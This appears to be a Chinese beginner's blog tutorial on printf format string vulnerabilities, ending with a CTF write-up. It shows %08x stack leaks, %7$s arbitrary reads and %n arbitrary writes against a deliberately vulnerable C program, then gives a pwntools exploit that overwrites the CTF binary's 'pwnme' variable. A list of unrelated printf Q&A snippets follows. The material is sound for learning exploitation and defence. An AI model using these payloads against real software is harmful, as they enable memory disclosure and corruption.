printf不明确 报错_【二进制安全】printf之任意读与写

2023-05-16

3403dd2404f7cd7d008ff498f04b951f.gif

59b8521d4fbedf02951ec585d04440e5.png

b2c4a5f6a087210c2200316f7dbc37f5.png前言

新手入门pwn,对于各位表哥在writeup中写的格式化字符串漏洞不是很理解,查阅网上资料发现大多都是以printf来深入讲解格式化字符串漏洞的原理,故作此文来探讨printf使用不当产生的漏洞,有不正确的地方,望大佬可以指出来。

printf剖析

printf是C语言中的输出函数,包含在头文件stdio.h文件中,功能是按规定格式向输出设备(一般为显示器)输出数据,并返回实际输出的字符数,若出错,则返回负数。printf函数的原型为:

# include int printf(const char *format, ...);

printf的一般格式有:

1) printf("字符串\n");

2) printf("输出控制符",输出参数);

3) printf("输出控制符1 输出控制符2…", 输出参数1, 输出参数2, …);

4) printf("输出控制符 非输出控制符",输出参数);

由函数原型我们可以知道printf函数的第一个字符指向一个format字符串(格式化字符串),后面再不定的跟着一些参数。常见的格式符如下:

%c:字符%d:十进制整数%x:16进制数据%p:16进制数据,与%x类似,但它输出时会在前面添加一个0x,在32bit下对应4字节,在64bit下对应8字节。%s:字符串,可利用%i$s表示输出偏移i出所指向的字符串。%n:%之前的字符个数。

具体实例参见如下:

#include int main(){        int a=1;        printf("c:%c\n",a);        printf("d:%d\n",a);        printf("p:%p\n",a);        printf("x:%x\n",a);        printf("aaaa%n\n",&a); //%n前面有4个字符,因此%将4赋值给了a        printf("%d",a);        return 0;}

gcc程序编译:

gcc -no-pie -fno-stack-protector -z execstack -g printf_01.c -o 2

 ./2 运行,输出结果为:

c:d:1p:0x1x:1aaaa4

printf函数是C语言中少数支持可变参数的库函数。当调用者(用户)调用此函数时,被调用者(后面我们用系统指代被调用者)是无法知道在函数调用前到底有多少参数被压入到栈中的。那么当运行call printf 系统是怎么知道该输出多少个参数呢?

format!系统通过判断传入的format参数以指定参数的数量和类型,来进行函数打印,与后面所带的参数无关。当format字符串中所含有的格式符的数量 > 后面传入参数的数量时,多出来的格式符系统依旧会根据%去栈中寻找相应的参数,因此就会造成内存泄漏形成任意地址的读与写。

漏洞利用

1、内存地址泄露

下面我们通过一个例子来了解printf任意地址读与写的前因后果!

#include #include int main(int argc,char **argv) {  static int b=1;  char s[100];  printf("%p\n",&b);//查看b的地址  //scanf("%s", s);//因为当我们任意地址读时需要利用printf输入地址,而scanf与printf无法一起使用,因而舍弃scanf  strcpy(s,argv[1]);  printf(s);//漏洞点,s为第一个参数  printf("the values of b is %d\n",b);//查看b的值  return 0;}

printf(s)为漏洞产生点,s为printf的第一个参数,当我们输入参数s含有格式符,此时格式符>传入参数(参数数为0),系统依旧会根据%去栈中寻找相应的参数。下面我们对上面的文件进行编译运行:

gcc -m32 -fno-stack-protector -no-pie -o test6 test6.c

  ./test6运行。当输入含格式符的字符串

"aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x" 

时,输出一些类似于地址类的数据,那么这些数据是什么呢?会是泄露出来的内存地址吗?咱调试一下究竟!

01521098812628163fd86fbde9b81875.png

gdb调试开始!!!我们可以先用 disass main 对主函数进行反汇编一下,在漏洞点printf(s)的call printf下断点,输入c运行程序。3706e491d29cfb4382f257801a9744fb.png

便于查看在printf附近的栈结构,可以发现format字符串所在的地址为0xffffd4dc,printf(s)只有一个参数, 因此format和vararg地址指向的是同一处,此时ESP栈指针指向的是地址0xffffd4c0。

5e16fdac217579a966d47b309c5132a4.png

 查看$esp向后的栈空间,再次输入c继续运行。观察输出的地址,发现我们输入的格式符("aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x" )恰好将printf函数format参数地址所在栈空间(0xffffd4c0)-4后的所有地址输出了,造成了内存地址的泄露。且我们输入的第一个字符串aaaa在栈中输出的对应输出的第7个%08x所输出的地址,即距离aaaa的偏移量为7个地址单元。

cef2de56d08954800160f927ec8d36cc.png

2、内存地址读与写

地址泄露出来了,那么接下来我们该怎么读取呢?  %s !!!%s,以字符串格式输出,当我们输入%i$s 时代表在以字符串格式第 i 个偏移处的内存地址内容,构造任意读输入语句:(PS:%i\$s中反斜线主要是转义)

597d4107b67a6b3c43230b69e5aeb9e9.png

例如:0x61616161这个地址已经被我们成功的写入到内存(0xffffd4dc)中了,当我们用  "`printf "\xdc\xd4\xff\xff"`.%7\$s"  语句读取内存地址时,将会产生报错,原因是由于该内存地址不可读。

ff600c6f6d1e3583acf6ddc0811668ba.png

读操作进行完毕,写操作还会远吗?

类似于读操作,只需要将%x换成%n即可。%n会将%之前所有变量的个数复制给一个变量。这里当我们输入  "`printf "\x20\xa0\x04\x08"`.%7\$n" 会将%前面有五个字符,因此%7$n会将5复制给第7个偏移量地址(0xffffd4dc)内容所指向的地址(0x0804a020),有点绕,咱简单画个图解析一下吧!

2d384d7667d6f01dc418e4e9123c2613.png

 运行结果如下:

1346026d0898823fd374bddfa225df3b.png

例子说明

利用printf对地址的任意读与写也正是利用了上面的内存泄漏。下面我们通过对一题的分析来具体解读一下printf对地址的任意读与写吧!(具体的文件参见文末。)

先查看一下基本信息:checksec fsb

[*] '/home/giantbranch/test_pwn/0838/CGfsb'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)

  将文件放入ida中进行查看,伪代码主要部分如下:

  puts("please tell me your name:");  read(0, &v4, 0xAu);  puts("leave your message please:");  fgets((char *)&v7, 100, stdin);  printf("hello %s", &v4);  puts("your message is:");  printf((const char *)&v7);  //漏洞点,类似于printf(&s),输出的参数来自于puts("leave your message please:")后面输入的参数  if ( pwnme == 8 )  {    puts("you pwned me, here is your flag:\n");    system("cat flag");  }

通过伪代码我们可以发现当pwnme值为8时,我们便可以成功获得flag!那么接下来,查看pwnme。

.bss:0804A068                 public pwnme.bss:0804A068 pwnme           dd ?                    ; DATA XREF: main+105↑r.bss:0804A068 _bss            ends.bss:0804A068

可知变量pwnme处于 .bss段(指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域),属于全局变量。

分析漏洞点的语句,类似于printf(&s),输出的参数来自于puts("leave your message please:")后面fgets输入的参数,我们可以利用上面printf任意地址读的思路查看读需要的偏移量:(PS:%x是输出16进制数据,08表示宽度,不足8为左边按0补齐)

21d170aa3aa01584773fdeafb5665f3d.png

由输出的堆栈信息,可以发现aaaa在的ascii码在第10个位置被输出了。

确定好了任意读的偏移量,下一步,任意地址写!

在上面我们分析变量pwnme时得出地址为0x0804A068,由此我们可以试着构造exp:

from pwn import *#p=remote('220.249.52.133','34368')p=process('./CGfsb')pwnme_addr=0x0804a068payload=p32(pwnme_addr)+'aaaa%10$n'p.recvuntil('please tell me your name:\n')p.sendline('aaaaaaa')p.recvuntil('leave your message please:\n')p.sendline(payload)#print p.recv()print p.recv()

  结果输出:

e53e908c35706f7e702f2277323135f2.png

例子附件:

链接: https://pan.baidu.com/s/1Wb3aSjL6J-dXAl9e18lJ6A 提取码: q927

参考链接:

https://bbs.pediy.com/thread-253638.htmhttps://blog.csdn.net/qq_43394612/article/details/84900668https://www.cnblogs.com/pwn2web/p/12077965.htmlhttps://www.cnblogs.com/ichunqiu/p/9329387.html
▼往期精彩回顾▼【web安全】一次反射型xss的绕过【WEB安全】某CMS代码审计【系统分享】anhunsec靶场练习系统END

da6d25db8e3cc89867f24d5d870ef3dd.png

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

printf不明确 报错_【二进制安全】printf之任意读与写 的相关文章

  • 打印 C 字符串(UTF-8)时的 NSLog() 与 printf()

    我注意到 如果我尝试使用格式说明符 s 打印包含 UTF 8 字符串表示形式的字节数组 printf 说得对 但是NSLog 得到它乱码 即 每个字节按原样打印 因此例如 被打印为2个字符 这很奇怪 因为我一直认为NSLog 只是print
  • 避免 printf() 中的尾随零

    我一直在发现 printf 系列函数的格式说明符 我想要的是能够打印小数点后最大给定位数的双精度 或浮点数 如果我使用 printf 1 3f 359 01335 printf 1 3f 359 00999 I get 359 013 35
  • 使用 printf 在 c 中 fork() [重复]

    这个问题在这里已经有答案了 有 2 个不同的程序 它们都很小 例如 int main printf print hello fork int main printf print hello n fork 输出 1 是 print hello
  • 如何使用“%f”将双精度值填充到具有正确精度的字符串中

    我正在尝试使用 a 来填充带有双精度值的字符串sprintf像这样 sprintf S f val 但精度被截断至小数点后六位 我需要大约 10 位小数来保证精度 如何才能做到这一点 宽度 精度 宽度应包括小数点 8 2表示8个字符宽 点前
  • 在没有正确原型的情况下调用 printf 是否会引发未定义的行为?

    这个看起来无辜的程序是否会调用未定义的行为 int main void printf d n 1 return 0 是的 调用printf 没有适当的原型 来自标准头
  • printf 字符串,可变长度项

    define SIZE 9 int number 5 char letters SIZE this wont be null terminated char fmt string 20 sprintf fmt string d ds SIZ
  • 将组合字符串和数字输入的元胞数组写入文本文件

    考虑以下 DateTime 2007 01 01 00 00 2007 02 01 00 00 2007 03 01 00 00 Headers Datetime Data Dat 100 200 300 Data DateTime num
  • 从 CUDA 设备写入输出文件

    我是 CUDA 编程的新手 正在将 C 代码重写为并行 CUDA 新代码 有没有一种方法可以直接从设备写入输出数据文件 而无需将数组从设备复制到主机 我假设如果cuPrintf存在 一定有地方可以写一个cuFprintf 抱歉 如果答案已经
  • OCaml 中的用户定义打印机

    printf fprintf等 全部接受 a转换 手册上说对于 a 用户定义的打印机 采用两个参数 并将第一个参数应用于 outchan 当前输出通道 和第二个参数 因此 第一个参数的类型必须为 out channel gt b gt un
  • Java:将二维字符串数组打印为右对齐表格

    是什么best打印a的单元格的方法String 数组作为右对齐表 例如 输入 x xxx yyy y zz zz 应该产生输出 x xxx yyy y zz zz 这似乎是一个should能够完成使用java util Formatter
  • 如何使用 sprintf 函数在字符中添加前导“0”而不是空格?

    我正在尝试使用sprintf函数为字符添加前导 0 并使所有字符长度相同 然而我得到的是领先空间 My code a lt c 12 123 1234 sprintf 04s a 1 12 123 1234 我试图得到什么 1 0012 0
  • 为什么 C 程序使用 Scanf 给出奇怪的输出?

    我目前正在学习 C 编程 并且遇到了这个奇怪的输出 Program will try functionalities of the scanf function include
  • 如何使用 fprintf 并写入管道?

    我创建了一个管道 并使用 dup2 将流 1 和 2 stdout 和 stderr 覆盖到这些管道中 现在我希望使用 fprintf 写入流 1 或 2 但我的程序似乎没有在管道的另一端接收到任何内容 我尝试过使用 printf 但我不确
  • C 中的 '\0' 和 printf()

    在 C 入门课程中 我了解到在存储字符串时存储空字符 0在它的最后 但是如果我想打印一个字符串怎么办 printf hello 虽然我发现它并没有结束 0通过以下声明 printf d printf hello Output 5 但这似乎不
  • awk 每个文件后换行

    使用此脚本 每个字段都会根据当前文件的最长单词打印出来 但需要每个文件都有一个换行符 如何才能实现这一目标 awk BEGIN ORS n FNR NR a i 0 if length 0 gt length max max 0 l len
  • Arduino sprintf float 未格式化

    我有这个arduino草图 char temperature 10 float temp 10 55 sprintf temperature f F temp Serial println temperature 温度打印为 F 关于如何格
  • printf 参数不足

    我的问题是关于缺少参数的 printf 之后的行为 printf s blah blah d int integer was given as argument and not int written 我已经知道 如果格式参数不足 则行为是
  • 在C语言中如何对齐这样的数字?

    我需要将 C 中的一系列数字与printf 就像这个例子 1 5 50 100 1000 当然 所有这些之间都有数字 但这与当前的问题无关 哦 将破折号视为空格 我使用破折号 这样更容易理解我想要的内容 我只能这样做 1 5 50 100
  • printf() 使用字符串表“解码器环”调试库

    我写这封信是想看看你们中是否有人见过或听说过我即将描述的想法的实现 我有兴趣为嵌入式目标开发 printf 风格的调试库 目标非常遥远 并且我和目标之间的通信带宽预算非常紧张 因此我希望能够以非常有效的格式获取调试消息 通常 调试语句如下所
  • 以编程方式将字符串宽度值插入到 sprintf() 中

    我正在尝试以编程方式将字符串宽度值插入到sprintf 格式 期望的结果是 sprintf 20s hello 1 hello 但我想插入20在同一通话中即时进行 因此它可以是任何号码 我努力了 sprintf ds 20 hello 1

随机推荐